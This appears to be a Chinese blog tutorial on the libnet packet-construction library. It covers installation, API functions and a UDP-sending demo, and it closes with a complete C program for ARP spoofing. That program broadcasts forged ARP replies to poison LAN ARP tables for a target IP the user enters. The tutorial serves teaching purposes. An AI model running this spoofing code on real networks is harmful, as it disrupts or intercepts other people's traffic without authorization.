粉丝不过W
Libnet 概念
专业的构造和发送网络数据包的开发工具包
是个高层次的 API 函数库,允许开发者自己构造和发送网络数据包
Libnet 特点
隐藏了很多底层细节,省去了很多麻烦;如缓冲区管理、字节流顺序、校验和计算等问题,使开发者把重心放到程序的开发中
可轻松、快捷的构造任何形式的网络数据包,从而开发各种各样的网络程序
使用非常广泛,如著名的软件 Ettercap、Firewalk、Snort、Tcpreplay
Libnet 的安装
sudo apt-get install libnet-dev
Libnet 开发实例
Libnet 开发流程
利用 libnet 函数库开发应用程序的基本步骤:
数据包内存初始化
构造数据包
发送数据
释放资源
libnet 库主要功能:
内存管理
地址解析
包处理
libnet_init
/*
*function:
* 数据包内存初始化及环境建立
*parameter:
* injection_type: 构造的类型
LIBNET_LINK
LIBNET_RAW4
LIBNET_LINK_ADV
LIBNET_RAW4_ADV
* device:网络接口,如"eth0",或 IP 地址,亦可为 NULL(自动查询搜索)
* err_buf: 存放出错的信息
*return:
* 成功: 一个 libnet 句柄
* 失败: NULL
*/
libnet_t *libnet_init(int injection_type, char *device, char *err_buf);
lib_net = libnet_init(LIBNET_LINK_ADV, "eth0", err_buf);
if(NULL == lib_net)
{
perror("libnet_init");
exit(-1);
}
libnet_destroy
/*
*function:
* 释放资源
*parameter:
* l: libnet 句柄
*/
void libnet_destroy(libnet_t *l);
libnet_destroy(lib_net);
libnet_build_udp
/*
*function:
* 构造 udp 数据包
*parameter:
* sp: 源端口号
* dp: 目的端口号
* len: udp 包总长度
* sum: 校验和,设为 0,libnet 自动填充
* payload: 负载,可设置为 NULL
* payload_s:负载长度,或为 0
* l: libnet 句柄
* ptag: 协议标记
*return:
* 成功: 协议标记
* 失败: -1
*/
libnet_ptag_t libnet_build_udp( u_int16_t sp,
u_int16_t dp,
u_int16_t len,
u_int16_t sum,
u_int8_t *payload,
u_int32_t payload_s,
libnet_t *l,
libnet_ptag_t ptag)
libnet_build_ipv4
/*
*function:
* 构造一个 IPv4 数据包
*parameter:
* ip_len: ip 包总长
* tos: 服务类型
* id: ip 标识
* fla***偏移
* ttl: 生存时间
* prot: 上层协议
* sum: 校验和,设为 0,libnet 自动填充
* src: 源 ip 地址
* dst: 目的 ip 地址
* payload: 负载,可设置为 NULL
* payload_s:负载长度,或为 0
* l: libnet 句柄
* ptag: 协议标记
*return:
* 成功: 协议标记
* 失败: -1
*/
libnet_ptag_t libnet_build_ipv4(u_int16_t ip_len,
u_int8_t tos,
u_int16_t id,
u_int16_t flag,
u_int8_t ttl,
u_int8_t prot,
u_int16 sum,
u_int32_t src,
u_int32_t dst,
u_int8_t *payload,
u_int32_t payload_s,
libnet_t *l,
libnet_ptag_t ptag)
libnet_build_ethernet
/*
*function:
* 构造一个以太网数据包
*parameter:
* dst: 目的 mac
* src: 源 mac
* type: 上层协议类型
* payload: 负载,即附带的数据
* payload_s:负载长度
* l: libnet 句柄
* ptag: 协议标记
*return:
* 成功: 协议标记
* 失败: -1
*/
libnet_ptag_t libnet_build_ethernet(u_int8_t *dst,
u_int8_t *src,
u_int16_t type,
u_int8_t *payload,
u_int32_t payload_s,
libnet_t *l,
libnet_ptag_t ptag);
libnet_write
/*
*function:
* 发送数据到网络
*parameter:
* l:libnet 句柄
*return:
* 失败:-1
* 成功:其他
*/
int libnet_write(libnet_t * l)
demo:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
int main(int argc, char *argv[])
{
char send_msg[1000] = "";
char err_buf[100] = "";
libnet_t *lib_net = NULL;
int lens = 0;
libnet_ptag_t lib_t = 0;
unsigned char src_mac[6] = {0x00, 0x0c, 0x29, 0x1b, 0x22, 0x0a}; //发送者网卡地址
unsigned char dst_mac[6] = {0xc8, 0x9c, 0xdc, 0xa9, 0x52, 0x3c}; //接收者网卡地址
char *src_ip_str = "172.20.226.3"; //源主机IP地址
char *dst_ip_str = "172.20.226.2"; //目的主机IP地址
unsigned long src_ip, dst_ip = 0;
int res = 0;
lens = sprintf(send_msg,
"1_lbt4_5#131200#C89CDCB70F19#0#0#0#305b#5:%d:%s:%s:%d:%s",
123,
"he.liang",
"HE-LIANG",
32,
"lh");
lib_net = libnet_init(LIBNET_LINK_ADV, "eth0", err_buf); //初始化
if(NULL == lib_net)
{
perror("libnet_init");
exit(-1);
}
//将字符串类型的ip转换为顺序网络字节流
src_ip = libnet_name2addr4(lib_net, src_ip_str, LIBNET_RESOLVE);
dst_ip = libnet_name2addr4(lib_net, dst_ip_str, LIBNET_RESOLVE);
//构造udp数据包
lib_t = libnet_build_udp(2425,
2425,
8 + lens,
0,
send_msg,
lens,
lib_net,
0);
//构造ip数据包
lib_t = libnet_build_ipv4(20+8+lens,
0,
500,
0,
10,
17,
0,
src_ip,
dst_ip,
NULL,
0,
lib_net,
0);
//构造以太网数据包
lib_t = libnet_build_ethernet((u_int8_t *)dst_mac,
(u_int8_t *)src_mac,
ETHERTYPE_IP,
NULL,
0,
lib_net,
0);
res = libnet_write(lib_net); //发送数据包
if(-1 == res)
{
perror("libnet_write");
exit(-1);
}
libnet_destroy(lib_net); //销毁资源
printf("----ok-----\n");
return 0;
}
ARP 欺骗
局域网中的网络流通是按照 MAC 地址进行传输的,可以通过欺骗通信双方的 MAC 地址,即可达到干扰通信的目的
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <libnet.h>
#include <pcap.h>
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
typedef unsigned char uchar;
typedef unsigned long ulong;
int main(int argc,char **argv)
{
libnet_t *net_t = NULL; //定义libnet_t指针变量
char *dev = "eth0"; //定义设备名称
char err_buf[LIBNET_ERRBUF_SIZE];
libnet_ptag_t p_tag; //定义libnet_ptag_t变量
//发送者网卡地址(伪装mac)
uchar src_mac[MAC_ADDR_LEN] = {0x00,0x00,0x00,0x00,0x00,0x00};
//接收者网卡地址
uchar dst_mac[MAC_ADDR_LEN] = {0xff,0xff,0xff,0xff,0xff,0xff};
char src_ip_str[20] = ""; //源主机IP地址(被伪装的ip)
ulong src_ip,dst_ip = 0;
char *net_interface = NULL;
int res;
printf("please input the aim ip:\n");
fgets(src_ip_str, sizeof(src_ip_str), stdin);
src_ip_str[strlen(src_ip_str)-1]='\0';
//将字符串类型的ip转换为顺序网络字节流
src_ip = libnet_name2addr4(net_t,src_ip_str,LIBNET_RESOLVE);
net_interface = pcap_lookupdev(err_buf);
if(NULL == net_interface)
{
perror("pcap_lookupdev");
exit(-1);
}
net_t = libnet_init(LIBNET_LINK_ADV, net_interface, err_buf);//初始化发送包结构
if(net_t == NULL)
{
printf("libnet_init error\n");
exit(-1);
}
p_tag = libnet_build_arp(ARPHRD_ETHER, //以太网
ETHERTYPE_IP, //protocol type ip协议
MAC_ADDR_LEN, //mac length 6
IP_ADDR_LEN, //protocol length 4
ARPOP_REPLY, //op type 2 arp应答
(u_int8_t *)src_mac, //更新目的地的arp表
(u_int8_t *)&src_ip, //source ip addr
(u_int8_t *)dst_mac, //dest mac addr
(u_int8_t *)&dst_ip, //dest ip addr
NULL, //payload
0, //payload length
net_t, //libnet context
0 ); //0 stands to build a new one
if(-1 == p_tag)
{
printf("libnet_build_arp error");
exit(-1);
}
//以太网头部
p_tag = libnet_build_ethernet((u_int8_t *)dst_mac, //dest mac addr
(u_int8_t *)src_mac, //source mac addr
ETHERTYPE_ARP, //protocol type
NULL, //payload
0, //payload length
net_t, //libnet context
0); //0 to build a new one
if(-1 == p_tag)
{
printf("libnet_build_ethernet error");
exit(-1);
}
res = libnet_write(net_t); //发送
if(-1 == res)
{
printf("libnet_write error!\n");
exit(-1);
}
libnet_destroy(net_t); //释放资源
printf("----SUCCESS----\n");
return 0;
}